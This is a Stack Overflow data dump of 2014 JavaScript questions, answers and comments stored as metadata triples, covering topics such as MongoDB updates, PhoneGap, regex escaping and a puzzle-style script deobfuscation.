has body: What you basically want is "dot notation" which means that your update portion with $set comes out like this: { "$set" : { "mechanics.brakes" : [ "30cm", "60cm", "90cm" ] } } To process an object in JavaScript like you show into this form you would do something like this: var upd = { "$set": {} }; var obj = { mechanics: { brakes: [ "30cm", "60cm", "90cm" ] } }; Object.keys( obj ).forEach(function(top) { Object.keys( obj[top] ).forEach(function(inner) { upd["$set"][ top + "." + inner ] = obj[top][inner] }); }) Which forms the update statement from the basic obj input and updates the database as you want.
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/40118618
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25671104
has text: `.dialog()` doesn't get called until after `.load()` returns, so it can't have any effect on it.
type: Comment

http://stackoverflow.com/comment/40022581
comment on: http://stackoverflow.com/a/25618601
score: 0
type: Comment
has text: thank you sir, thats it! @John any bad practice with empty functions?
type: AnswerComment

http://stackoverflow.com/comment/40101652
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25659422
has text: but the concept here is i am passing the values of dropdownlist1 using for loop(@jsfile).based on the number of values, here(jsp file) the size of string array should be created.pls check how i am retrieving kot and item code.
score: 0

http://stackoverflow.com/comment/40185560
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25708163
score: 0
has text: Exactly what is the problem your facing? Do you not know what to put after `document.getElementById("myImg").src =` ?

http://stackoverflow.com/a/25692086
answers question: http://stackoverflow.com/q/25692074
score: -1
has comment: http://stackoverflow.com/comment/40156141
type: Answer
upvote count: 4
has body: From a .NET perspective: No, the state.Split() occurs one time. Other languages?? I have no idea what you mean. You should retag your question as php or javascript even though I'm quite certain that javascript would behave the same.
downvote count: 5

http://stackoverflow.com/comment/40113245
comment on: http://stackoverflow.com/a/25668240
has text: @user2948725: yup. if its related to this.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40000043
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25604444
has text: It's not my case. I need collapse or expand depends on other input value. For example if it's 1 - collapse, 0 - expand

http://stackoverflow.com/q/25696376
has title: PhoneGap Build deviceready event not firing
linked to: http://stackoverflow.com/q/14026236
has comment: http://stackoverflow.com/comment/40164920
tagged with: cordova
type: UnansweredQuestion
tagged with: android
has body: I'm building an app with PhoneGap build and I'm trying to get the deviceready event to fire, based on Adobe's documentation: http://docs.phonegap.com/en/1.0.0/phonegap_events_events.md.html#deviceready I've researched this issue and found that many people have successfully overcome it. I've tried the following things: I've added the following lines to my Index.html: (I've also tried adding cordova.js) I've added the following to my config.xml file: <gap:plugin name="org.apache.cordova.device" /> The app loads up and runs just fine, but no deviceready alert. I've tried it on my Asus Transformer and Kindle Fire without success. Index.html: config.xml: <?xml version="1.0" encoding="utf-8" ?> asd asd asd <access origin="*" /> <gap:plugin name="org.apache.cordova.device" />
has comment: http://stackoverflow.com/comment/40164639
type: Question
has comment: http://stackoverflow.com/comment/40174786
tagged with: javascript
has comment: http://stackoverflow.com/comment/40165259
score: 0
has answer: http://stackoverflow.com/a/25705251
has comment: http://stackoverflow.com/comment/40177975
answer count: 1

http://stackoverflow.com/q/25648346
has title: FullCalendar recurring events array
type: UnansweredQuestion
tagged with: php
type: Question
tagged with: javascript
tagged with: recurring-events
tagged with: fullcalendar
tagged with: jquery
has answer: http://stackoverflow.com/a/25751885
has comment: http://stackoverflow.com/comment/40124501
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40083383
has body: I'm working on a recurring events backend for fullcalendar, and I've run into a strange problem. My events are calculated on a page called events.php. The calendar is displayed on index.php and calls the events from events.php. My function on events.php outputs the correct string for the recurring events, but the calendar on index.php only displays the first event in each recurrence. However, if I copy the string that the array produces and paste it directly into the events.php page and comment out the render_fccalendar_events(); function and inthe end of events.php that produces the string, the calendar will display all of the recurring events correctly. From what I can see the output of the function, and what I'm pasting into the page are feeding the calendar on index.php exactly the same thing. Obviously there is some difference though because it's not rendering them the same. Any idea what in the world is going on here? This is the events.php code: &lt;?php require_once('../../Connections/local_i.php'); require_once('../../webassist/mysqli/rsobj.php'); global $wpdb; $wpdb = new WA_MySQLi_RS("wpdb",$local_i,0); $wpdb-&gt;setQuery("SELECT wpdb.id, wpdb.location, wpdb.name, wpdb.description, wpdb.recurrence, wpdb.start_date, wpdb.end_date, wpdb.repeat, wpdb.repeat_desk, wpdb.occurrence, wpdb.occurrence_desk FROM wpdb"); $wpdb-&gt;execute(); ini_set('display_errors', '0'); function render_fccalendar_events() { $_POST['start'] = (isset($_POST['start']) ? $_POST['start'] : strtotime('2014-09-01')); $_POST['end'] = (isset($_POST['end']) ? $_POST['end'] : strtotime('2014-09-30')); $start = date('Y-m-d',$_POST['start']); $end = date('Y-m-d', $_POST['end']); $readonly = (isset($_POST['readonly'])) ? true : false; $events = fcdb_query_events($start, $end); render_json(process_events($events, $start, $end, $readonly)); } function process_events($events, $start, $end, $readonly) { if ($events) { $output = array(); foreach ($events as $event) { $event-&gt;view_start = $start;…

http://stackoverflow.com/comment/40039924
score: 0
comment on: http://stackoverflow.com/q/25627889
has text: my thinking is that there may be a snappy/easy solution from say jquery. Otherwise i could probably figure it out with lots of loops etc.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25667246
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25767561
type: AnsweredQuestion
downvote count: 0
score: 1
has title: GoJS position of nodes
type: Question
tagged with: gojs
tagged with: javascript
has body: As I can do to make GoJS all elements that are within a group online front of each other and not in pairs as they currently appear, so I want: S -> A -> B -> E But actually appear like this: S -> A B -> E well here I put the example in jsFiddle, thank you very much for the help. // Groups consist of a title in the color given by the group node data // above a translucent gray rectangle surrounding the member parts myDiagram.groupTemplate = $(go.Group, "Horizontal", { selectionObjectName: "PANEL", // selection handle goes around shape, not label ungroupable: true }, // enable Ctrl-Shift-G to ungroup a selected Group $(go.TextBlock, { font: "13px sans-serif", isMultiline: false, // don't allow newlines in text editable: true // allow in-place editing by user }, new go.Binding("text", "text").makeTwoWay(), new go.Binding("stroke", "color")), $(go.Panel, "Auto", { name: "PANEL" }, $(go.Shape, "Process", // the rectangular shape around the members { fill: "#FFF", stroke: "#333", strokeWidth: 1, width: 400 }), $(go.Placeholder, { padding: 10 }) // represents where the members are ), { // this tooltip Adornment is shared by all groups toolTip: $(go.Adornment, "Auto", $(go.Shape, { fill: "#FFFFCC" }), $(go.TextBlock, { margin: 4 }, // bind to tooltip, not to Group.data, to allow access to Group properties new go.Binding("text", "", groupInfo).ofObject()) ) } );
accepted answer: http://stackoverflow.com/a/25767561
upvote count: 1

http://stackoverflow.com/comment/40069427
has text: Because your `alert()` snippet is running before the `viewModel` is even created, let alone bound...
comment on: http://stackoverflow.com/q/25644307
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/comment/40378016
type: Comment
has text: I'd love to see someone make this into a more general glob too... I could see issues arising if you had a folder called `awesomeLib.js` which is a common naming scheme of projects.
comment on: http://stackoverflow.com/a/25806060
type: AnswerComment
score: 0

http://stackoverflow.com/a/25585382
type: Answer
has comment: http://stackoverflow.com/comment/39961984
has comment: http://stackoverflow.com/comment/39962124
has comment: http://stackoverflow.com/comment/39962203
has comment: http://stackoverflow.com/comment/39962109
has comment: http://stackoverflow.com/comment/39962034
has comment: http://stackoverflow.com/comment/39962007
score: 0
has comment: http://stackoverflow.com/comment/39961920
has body: There are no references to the result, so it is eligible for garbage collection. The memory will be freed at some point in the future, when the JavaScript runtime decides to schedule a GC run. See comments - it probably won't be stored on the heap at all. See the MDN docs for more on JavaScript memory management.
has comment: http://stackoverflow.com/comment/39962003
answers question: http://stackoverflow.com/q/25585366

http://stackoverflow.com/q/25556950
tagged with: google-chrome-extension
tagged with: email
has comment: http://stackoverflow.com/comment/39909181
has title: Sending email from a Chrome extension
has comment: http://stackoverflow.com/comment/39908804
favorite count: 0
has comment: http://stackoverflow.com/comment/84480642
has comment: http://stackoverflow.com/comment/39908765
has comment: http://stackoverflow.com/comment/39908948
has comment: http://stackoverflow.com/comment/39908837
has comment: http://stackoverflow.com/comment/39908885
has comment: http://stackoverflow.com/comment/39908886
has comment: http://stackoverflow.com/comment/39909048
has comment: http://stackoverflow.com/comment/39910045
has comment: http://stackoverflow.com/comment/39908952
downvote count: 6
possible better answer: http://stackoverflow.com/a/68910606
type: AnsweredQuestion
upvote count: 19
has comment: http://stackoverflow.com/comment/39908907
has comment: http://stackoverflow.com/comment/39908963
score: 13
has body: I do not want the user to have to perform or confirm any actions, as it would disrupt the general idea. In other words, mailto is out of the question. Is it possible to send emails client-sided via JavaScript, from a Chrome extension, without disrupting the user’s experience or adding any JavaScript extension? If so, how? I get the feeling this is going to be impossible. I've learnt that there is a chrome.sockets.tcp API that may be useable. How could it be used?
type: Question
has comment: http://stackoverflow.com/comment/39908842
has comment: http://stackoverflow.com/comment/39909672
has comment: http://stackoverflow.com/comment/39908986
tagged with: javascript
has comment: http://stackoverflow.com/comment/39909011
has answer: http://stackoverflow.com/a/25559358
has answer: http://stackoverflow.com/a/68910606
accepted answer: http://stackoverflow.com/a/25559358
answer count: 2

http://stackoverflow.com/comment/40113255
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25667036
has text: JSONP is nothing else but including a ` ` element. So I guess your question is: Why is there a same-origin policy if it can be circumvented by loading code via ` ` elements?
score: 0

http://stackoverflow.com/a/25649486
downvote count: 0
answers question: http://stackoverflow.com/q/25649433
type: Answer
score: 3
upvote count: 3
has body: Try accessing appointment.startDatetime instead of appointments.startDatetime. Same for providerName and apptLocation. Basically remove the s in appointments.

http://stackoverflow.com/comment/40173894
type: Comment
has text: Thanks for your answer, but I am looking for page transitions, not just the overflow scrolling. Any ideas?
comment on: http://stackoverflow.com/a/25701802
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40075975
comment on: http://stackoverflow.com/a/25647803
type: AnswerComment
score: 0
type: Comment
has text: `new String("hello") === new String("hello")` check type as well as reference that is why it returns `false` got it but `new String("hello") == new String("hello")` is comparing the objects instead of the value what this means? I was always thinking == compares only values. Please elaborate

http://stackoverflow.com/comment/40183173
comment on: http://stackoverflow.com/q/25706201
score: 1
has text: Dandavis can you elaborate?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25709958
possible better answer: http://stackoverflow.com/a/25710129
has answer: http://stackoverflow.com/a/25710126
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/25710143
has title: Pass a parameter to a template?
accepted answer: http://stackoverflow.com/a/25710126
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
score: 1
has body: I have a template login called in different pages with: {{&gt;login}} This template is a form with a button submit. When a user clicks on submit, I route to an other page like this: Template.login.events({ 'click #submit' : function() { Router.go('player', {_id: username}); } }); What I want to do is to be able to route to different pages according the pages where the template {{>login}} is. Is it possible without duplicating the template? Like having a parameter passed to the template and switching in the event function according this parameter?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/25710129
tagged with: meteor

http://stackoverflow.com/comment/40015179
has text: How do you implement "2"? Separate process?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25614481

http://stackoverflow.com/comment/40109193
score: 0
type: Comment
has text: i have added jsfiddle
comment on: http://stackoverflow.com/a/25665513
type: AnswerComment

http://stackoverflow.com/q/25640630
tagged with: javascript
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25640721
has title: Replacing n occurences of a certain string in a message
has answer: http://stackoverflow.com/a/25641004
accepted answer: http://stackoverflow.com/a/25641004
has body: I am in need of a function that determines URL occurences in a message (string) and wraps them in &lt;a&gt; elements. This is my approach: function wrapUrl(message){ var content = message.split(' '); content.forEach(function(item){ // Check if this is an URL and if so, wrap it }); } This will be used in a chatroom, thus there will be a lot of messages. Each message is a POJO holding 3 key - value pairs. Considering performance, is this a good approach or am I missing a easier variant?
tagged with: architecture
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25640721
linked to: http://stackoverflow.com/q/3809401
type: Question
tagged with: performance

http://stackoverflow.com/a/25593036
has comment: http://stackoverflow.com/comment/39999551
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39976471
has comment: http://stackoverflow.com/comment/39976852
type: Answer
answers question: http://stackoverflow.com/q/25592760
accepted answer of: http://stackoverflow.com/q/25592760
has body: you have assign both module in same variable. this may conflict your code. so use this code: bolouk.js: 'use strict'; var app = angular.module('app',['ngResource']); app.controller('BoloukCtrl', ['$scope', 'Bolouks', function($scope, Bolouks){ $scope.save = function(){ Bolouks.create($scope.bolouk).$promise.then(function(data){ $scope.saveBolouk = data; }) .catch(function (err) { console.log(err); }) }; }]); boloukService.js: 'use strict'; app.factory('Bolouks', function($resource) { return $resource('/api/bolouks.json', {}, { create: { method: 'POST', isArray: false } }); });
score: 0
has comment: http://stackoverflow.com/comment/39976033
has comment: http://stackoverflow.com/comment/39976360
has comment: http://stackoverflow.com/comment/39976721
has comment: http://stackoverflow.com/comment/39976412
has comment: http://stackoverflow.com/comment/39976508
has comment: http://stackoverflow.com/comment/40001870

http://stackoverflow.com/comment/39972652
type: AnswerComment
comment on: http://stackoverflow.com/a/25591232
type: Comment
has text: but this is wrong, because row1 is dropdown, and when i click to "open" dropdown, with this function row1 will immediately close
score: 0

http://stackoverflow.com/a/25598820
has body: I think the scope of variable message is the problem here. I have not tried this but may work. app.post("/", function (req, res, error) { var obj = this; obj.message = ''; tableSvc.createTable("tableName", function (error, result,response){ if (error) obj.message += "There was an error in creating this table"; else obj.message += "Table created succesfully"; }); while(obj.message.length===0){ ;//Block the next execution till the operation above is complete. } console.log(obj.message); });
has comment: http://stackoverflow.com/comment/39986903
score: 0
has comment: http://stackoverflow.com/comment/39987679
accepted answer of: http://stackoverflow.com/q/25598762
answers question: http://stackoverflow.com/q/25598762
has comment: http://stackoverflow.com/comment/39988319
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39987717
type: Answer

http://stackoverflow.com/comment/40239732
comment on: http://stackoverflow.com/a/25705503
type: Comment
has text: This is by far the most simple modal pop up I have come across so far. I havent used it yet. I will mark it as answer later on. +1
score: 0
type: AnswerComment

http://stackoverflow.com/q/25634824
has answer: http://stackoverflow.com/a/25635026
tagged with: php
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40052689
type: Question
tagged with: mongodb
accepted answer: http://stackoverflow.com/a/25635026
tagged with: javascript
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40052882
has answer: http://stackoverflow.com/a/25635030
has title: How do I use data returned from PHP to build out an HTML table?
has body: I have a php file that is reaching out and touching a mongo db and building a bunch of table tags. When I replace the script tag code below with the php code it works fine and builds out the table. When I try to get the php results from the called page I manage to get the table text into the data variable ... if I alert it I see all the table tags and data that is generated from my .php page ... but I'm not sure how to embed that code inline in the HTML right after the th tags ... if I do a document.write(data) inside the script it seems to overwrite the whole page with just the data that was generated from the .php page ... it doesn't append it after the th row. Thank you in advance for any advice. Agency POC POC Phone Address And this is returned by the php script BACODA Kristi Smith 211.444.2222
possible better answer: http://stackoverflow.com/a/25635030
has answer: http://stackoverflow.com/a/25635113

http://stackoverflow.com/comment/40010362
score: 0
type: Comment
type: QuestionComment
has text: Can you create a [jsFiddle](http://jsfiddle.net/) or equivalent that recreates the problem, please? Also, which browser are you using?
comment on: http://stackoverflow.com/q/25611960

underscore.js
tags question: http://stackoverflow.com/q/25631599
tags question: http://stackoverflow.com/q/25601416
type: Tag
tags question: http://stackoverflow.com/q/25677207
tags question: http://stackoverflow.com/q/25562706
tag name: underscore.js
tags question: http://stackoverflow.com/q/25609806
tags question: http://stackoverflow.com/q/25707895
tags question: http://stackoverflow.com/q/25565174
tags question: http://stackoverflow.com/q/25687604
tags question: http://stackoverflow.com/q/25580117
tags question: http://stackoverflow.com/q/25676026
tags question: http://stackoverflow.com/q/25693707
tags question: http://stackoverflow.com/q/25660779
tags question: http://stackoverflow.com/q/25642716
tags question: http://stackoverflow.com/q/25625386
tags question: http://stackoverflow.com/q/25631955
tags question: http://stackoverflow.com/q/25691622
tags question: http://stackoverflow.com/q/25590921
tags question: http://stackoverflow.com/q/25552031
tags question: http://stackoverflow.com/q/25615760
tags question: http://stackoverflow.com/q/25642754
tags question: http://stackoverflow.com/q/25661858
tags question: http://stackoverflow.com/q/25698387

http://stackoverflow.com/a/25688519
has body: For using momentjs here is minimal example of a snippet: http://jsfiddle.net/jasdeepkhalsa/a0m9s3rc/ HTML &amp; JavaScript - (index.html) &lt;!doctype html&gt; &lt;html&gt; &lt;body&gt; &lt;script src="http://momentjs.com/downloads/moment.min.js"&gt;&lt;/script&gt; &lt;script&gt; (function (name) { var date = moment().format('YYYY-MM-DD HH:MM'), name = name || '&lt; Developer Name &gt;', string = date + ' / ' + name; return console.log(string); })('Dan L'); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; This outputs into the browser's console: 2014-09-05 15:09 / Dan L Note: This currently outputs to the browser's F12 developer tool's console using console.log, which you could change to output to the page with document.write in the return statement instead.
downvote count: 3
upvote count: 0
has comment: http://stackoverflow.com/comment/56985628
score: -3
answers question: http://stackoverflow.com/q/25669615
type: Answer

http://stackoverflow.com/a/25675165
has comment: http://stackoverflow.com/comment/40125535
has body: Another solution \d+(?!.*\d) Usage var s = "http://radio-pendimi.com/website/index.php/artikuj/31-miresjellja-edukata-fetare/51-permbaje-gjuhen-tende"; var p = /\d+(?!.*\d)/; var m = s.match(p); console.log(m[0]); // 51 Regex demo | JavaScript demo
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40125610
accepted answer of: http://stackoverflow.com/q/25675125
answers question: http://stackoverflow.com/q/25675125
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/25705567
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25705371
answers question: http://stackoverflow.com/q/25705371
type: Answer
has body: Here's a quick tutorial on deobfuscating it. I will not go into too much detail because this was a challenge you are supposed to solve afterall. Take the original code and look at its structure. It basically is of the form function divulge() { eval(function(...) { /* nobody cares what happens here */ // now this is interesting, because p will contain the string that eval() will execute! return p; }(...)); } It should be fairly obvious now how to learn what this code will execute rather than having it actually execute: p will get evaled, so just intercept it. This will show that it's just more code (obviously). So let's start over! Looking at the new code, after beautifying it, we will see that the structure is basically the same. So someone is trying to be sneaky by obfuscating the code several times. Too bad we already deobfuscated it once, so we just repeat the entire procedure. After the second time, we get code of the structure var _0x2c6f = ["..."]; alert(_0x2c6f[0]); var secretos = unescape(_0x2c6f[1]); This will alert the following text: This function stores some secret under some arbitrary variable whose name I shall not reveal! And finally, secretos contains a link. However, I will censor the link here for multiple reasons: http://signin.**********.org/secrets
score: 2
downvote count: 0
upvote count: 2

http://stackoverflow.com/comment/40193447
has text: Well, turns out it had something to do with the caching. I looked at the page code and saw that the first draft of `main.js` was being loaded. It's working now.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25712151
type: Comment

http://stackoverflow.com/a/25642809
upvote count: 3
has body: You should escape the | symbol in your regex, so that it would match a literal | symbol. In regex | called logical OR operator which was usually used to combine or OR two regexes. What's the reason for getting _a_b_|_c_d_ as output? I already said that | is called logical OR operator. It's syntax would be like regex1|regex2|regex3|regex4....... and so on. But in your case |, there isn't a pattern before and after to the OR (|) operator. So it does a zero width match before and after to each and every character. Replacing the zero width match with _ will give you _a_b_|_c_d_ as result. > var separator = "\\|"; undefined > var ex = new RegExp(separator,"g"); undefined > var result = "ab|cd".replace(ex, "_"); undefined > console.log(result); ab_cd OR > var separator = /\|/g; undefined > var ex = new RegExp(separator); undefined > var result = "ab|cd".replace(ex, "_") undefined > console.log(result); ab_cd
has comment: http://stackoverflow.com/comment/40066280
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40066333
has comment: http://stackoverflow.com/comment/40066529
has comment: http://stackoverflow.com/comment/40066243
has comment: http://stackoverflow.com/comment/40066288
answers question: http://stackoverflow.com/q/25642755
has comment: http://stackoverflow.com/comment/40066203
has comment: http://stackoverflow.com/comment/40066170
has comment: http://stackoverflow.com/comment/40066414
has comment: http://stackoverflow.com/comment/40066741
score: 3

http://stackoverflow.com/a/25606305
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25606282
type: Answer
answers question: http://stackoverflow.com/q/25606282
downvote count: 0
has body: Square bracket notation will help you: {{ asset['display-name'] }}
score: 1
upvote count: 1

http://stackoverflow.com/q/25687063
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25687189
has answer: http://stackoverflow.com/a/25687189
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40146438
tagged with: css
has title: How do I find count of class within a DIV
accepted answer: http://stackoverflow.com/a/25687196
tagged with: dojo
has body: I have the following HTML writen in dojo: 2 This is one example of what I can generate, but I have 20 types of elements similar to this one. I wonder how I can get number of defined classes on one DIV, so that I get array of classes and in the array I can check if this element is not equal with 'nominal' then dojo.removeClass(tmp_elm_on_div_ins_id,this._state);
tagged with: javascript
tagged with: class
has comment: http://stackoverflow.com/comment/40146486
has answer: http://stackoverflow.com/a/25687196
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/39933930
comment on: http://stackoverflow.com/a/25570101
has text: No. I'm using firefox
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39925484
type: Comment
comment on: http://stackoverflow.com/a/25565724
has text: I further updated the code: now the + and minus appaear when they have to, and, if you click the link before the toggle has completed, it works fine. BTW, I'd do a faster `fadeToggle`, 1 second is way too slow. Does this solve your problem?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/39917543
type: QuestionComment
comment on: http://stackoverflow.com/q/25561604
has text: Try to put together some ASP code to access the database and attempt printing the html based on their level. If you get stuck come back and ask a more specific question, with your code, and the correct labels (ASP.net and MySQL)
score: 0
type: Comment

http://stackoverflow.com/comment/40171876
type: Comment
score: 0
has text: @Dr.Kameleon any time :)
type: AnswerComment
comment on: http://stackoverflow.com/a/25699396

http://stackoverflow.com/comment/40012076
comment on: http://stackoverflow.com/a/25612370
score: 0
type: Comment
type: AnswerComment
has text: I have tried a lot of combination with your codes but I always get login failed. I am new in jQuery and I can't handle it. So your jQuery codes are totally different from mine. I don't understand what is the problem.

http://stackoverflow.com/q/25588577
tagged with: classname
upvote count: 1
tagged with: namespaces
has answer: http://stackoverflow.com/a/25588585
has comment: http://stackoverflow.com/comment/39967819
has body: I came to stackoverflow to find the answer to this question since I have found it to be a fabulous source of knowledge. And there indeed appears to be a lot of answers to this question but I am unable to find one that fits my needs. After years of working on server side programming, I finally decided that a lot of stuff could be done a lot more quickly on the client side so I decided to jump more enthusiastically into JavaScript. Since I was working for a customer I decided to try and do best practices right off the bat. So I searched for how to emulate namespaces and read up on "Classes" and so I evolved code as in what follows var ABC {}; // Create a namespace. ABC.Object1 = function() {} // A constructor for a class ABC.Object1.prototype = { someMethod: function() {} } So now I can create an object by var o = new ABC.Object1() abd I can call o.someMethod() But then I wanted to write s debug() method and in it I wanted to log some debug information. I am using Chrome for the browser and when I break and trace I can see that "o" is of type "ABC.Object1" but I can't find anyway where my method can determine the "class" name. I keep putting class in quotes because I know that there really is no such thing as a Javascript class. But it seems I should be able to do it. I noticed some methods use the name of the constructor Function, so I changed the constructor to function ABC.Object1(){} but that is bad syntax because there should be no period there. I don't have that many classes, so I am happy to redo all the constructors but I'd like advice on how to do it so I can determine the name of the class and maintain the namespace idea. By calling everything under namespace ABC (not the real name, but illustrative I minimize the chance of a naming conflict. One person suggested putting in the constructor "this.name = "ABC.Object1" and that would work but that is too hokey and certainly wouldn't scale. Any advice much appreciated.
has title: Identify a "Class Name" in Javascript Object
downvote count: 0
tagged with: javascript
type: UnansweredQuestion
type: Question
score: 1
has answer: http://stackoverflow.com/a/25612455
favorite count: 0
answer count: 2

http://stackoverflow.com/q/25562626
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25562794
has title: Move a div if the height of another div is greater than value (with jquery)
has answer: http://stackoverflow.com/a/25562739
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39919275
has body: See the image below. This illustrates what I am trying to achieve. I am sure it is possible with jquery but do not have the expertise to write it. What i want is that if 'DIV A'(shown in green) has a height lower than a set PX value (for example if div A's height is smaller than 300px) then 'DIV B' (shown in red) should move the the second position. If DIV A's height is greater then that value then DIV A should simply remain in place and not be moved. I started a fiddle here: http://jsfiddle.net/qwcpokdL/ example code: B A example css: .left, .right {width:49%; border: 1px solid #000; margin:1px; min-height:600px} .left {float:left;} .right {float:right;} .somediv, .somediv2 {width:98%; height:125px; border:1px solid #ccc; margin:2px} .A {background:red; width:98%%; height:150px; margin:2px} .B {background:green; width:98%; height:100px; margin:2px} Thanks in advance for help!
type: Question
possible better answer: http://stackoverflow.com/a/25562739
has comment: http://stackoverflow.com/comment/39920126
has answer: http://stackoverflow.com/a/25562755
accepted answer: http://stackoverflow.com/a/25562755

http://stackoverflow.com/comment/40059819
comment on: http://stackoverflow.com/a/25625415
score: 0
type: AnswerComment
has text: The problem is, you do use a setInterval. But anything that is not inside the setInterval function `setInterval(function(){alert("Hello")}, 3000);` gets fired imediately and not after the interval is done. Move the blocked = true inside it!
type: Comment

http://stackoverflow.com/q/25622624
has comment: http://stackoverflow.com/comment/40056566
tagged with: geojson
type: Question
tagged with: javascript
score: 0
has body: I'm trying to use dwilhelm89:s LeafletSlider to visualize the recent Ebola outbreak in west Africa. When using a single layer the slider is working fine, but when I try to add layers into a layerGroup I get a console message reading: "You have to have a time property". I have the time property, the layers is working if I add them separately, just not in the layerGroup. Live example with my faulty layerGroup What am I doing wrong? Any help would be much appreciated! Thanks! Martin
answer count: 1
has answer: http://stackoverflow.com/a/25625296
has comment: http://stackoverflow.com/comment/40034933
type: UnansweredQuestion
tagged with: slider
has title: LeafletSlider not working with layerGroup
tagged with: leaflet

http://stackoverflow.com/comment/40130131
type: AnswerComment
comment on: http://stackoverflow.com/a/25675795
score: 0
type: Comment
has text: Thank you so so much although is there a way to add the anchors to it too as well as remove the image? Not to make you code it all but how would i refer to the layer for that image and others that they drag over? Like how I have this to add the anchors i refer to the furnigroup layer furniGroup.add(furniImg); addAnchor(furniGroup, 0, 0, 'topLeft'); addAnchor(furniGroup, 338, 0, 'topRight'); addAnchor(furniGroup, 338, 285, 'bottomRight'); addAnchor(furniGroup, 0, 285, 'bottomLeft');

http://stackoverflow.com/q/25599931
tagged with: javascript
tagged with: google-maps-api-3
score: 0
accepted answer: http://stackoverflow.com/a/25600638
has title: How to obtain extreme coordinates visible in map based on current location?
has answer: http://stackoverflow.com/a/25600638
type: Question
type: AnsweredQuestion
tagged with: google-maps
has body: Holla....I have to find the extreme coordinates that are visible in the map currently based on my current location's coordinates. I have included a google map in my website. I have set the zoom level to 6 & maximum zoom value to 8 & minimum zoom value to 2 in my map. I have centered my map based on my current location. To obtain the coordinates of my current position, I used Maxmind's geoip service. After obtaining my current position, I used those values to center my map. Here's the Javascript code I used to display & center map. HTML code used to include map into my web page is: I have included a screenshot of my map. I have added a green marker to identify my current location. Now based on that, I wanna find the 4 extreme coordinates that I have marked (circled) in red. I don't know how to acheive this. Any tips from anyone?? Gracias. :) I want to find the extreme coordinates whenever user zooms in or zooms out based on mouse over or mouse down function. Worst thing is, IDK how to achieve that.
answer count: 1

http://stackoverflow.com/q/25654661
has comment: http://stackoverflow.com/comment/40088561
has comment: http://stackoverflow.com/comment/40088789
type: Question
has comment: http://stackoverflow.com/comment/40089053
has comment: http://stackoverflow.com/comment/40088922
tagged with: arrays
downvote count: 0
tagged with: javascript
linked to: http://stackoverflow.com/q/2980763
has comment: http://stackoverflow.com/comment/40088751
accepted answer: http://stackoverflow.com/a/25670665
has comment: http://stackoverflow.com/comment/40088763
answer count: 1
has title: accessing the parent object from the child object property in javascript
has comment: http://stackoverflow.com/comment/40088773
favorite count: 0
has answer: http://stackoverflow.com/a/25670665
upvote count: 2
has body: My problem . I have an object like this: t.mainobject = { prop1: "", prop2: "", id: "1", prop3: [ child1: { id: "111" }, child2: { id: "112" } ] }; only child1/child2 is visible to me whereas I donot know its parent object . I tried using underscore but have not found any method which can provide me the parent object . thanks in advance for any advice/suggestion. edit1: all my child objects were created from multiple object so it end up as a flatten object. like: t.mainobject = { prop1: "", prop2: "", id: "1", prop3: [ child1: { id: "111" }, child2: { id: "112" } ] }; t.mainobject1 = { prop1: "", prop2: "", id: "2", prop3: [ child1: { id: "211" }, child2: { id: "212" } ] }; t.mainobject3 = { prop1: "", prop2: "", id: "1", prop3: [ child1: { id: "311" }, child2: { id: "312" } ] }; Now I ended up with an array with : [{id:"111"},{id:"112"}, {id:"211"},{id:"212"}, {id:"311"},{id:"312"}] Now how can I able to get the parent object containing the child object using the id . edit 2: my solution : var parent = _.filter(allParent, function(r){ for(var i=0; i&lt;r.posts.length; i++){ if(r.posts[i].id === allChildPosts[index].id){ return r.id; } } }); it return me the parent object and now I can easily access any property.
has comment: http://stackoverflow.com/comment/40116082
tagged with: object
has comment: http://stackoverflow.com/comment/40089298
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40088643

http://stackoverflow.com/q/25672431
has answer: http://stackoverflow.com/a/25672709
linked to: http://stackoverflow.com/q/18268233
has title: Playing embedded API Youtube video on event
tagged with: video
accepted answer: http://stackoverflow.com/a/25672709
has comment: http://stackoverflow.com/comment/40120176
tagged with: youtube
type: Question
type: AnsweredQuestion
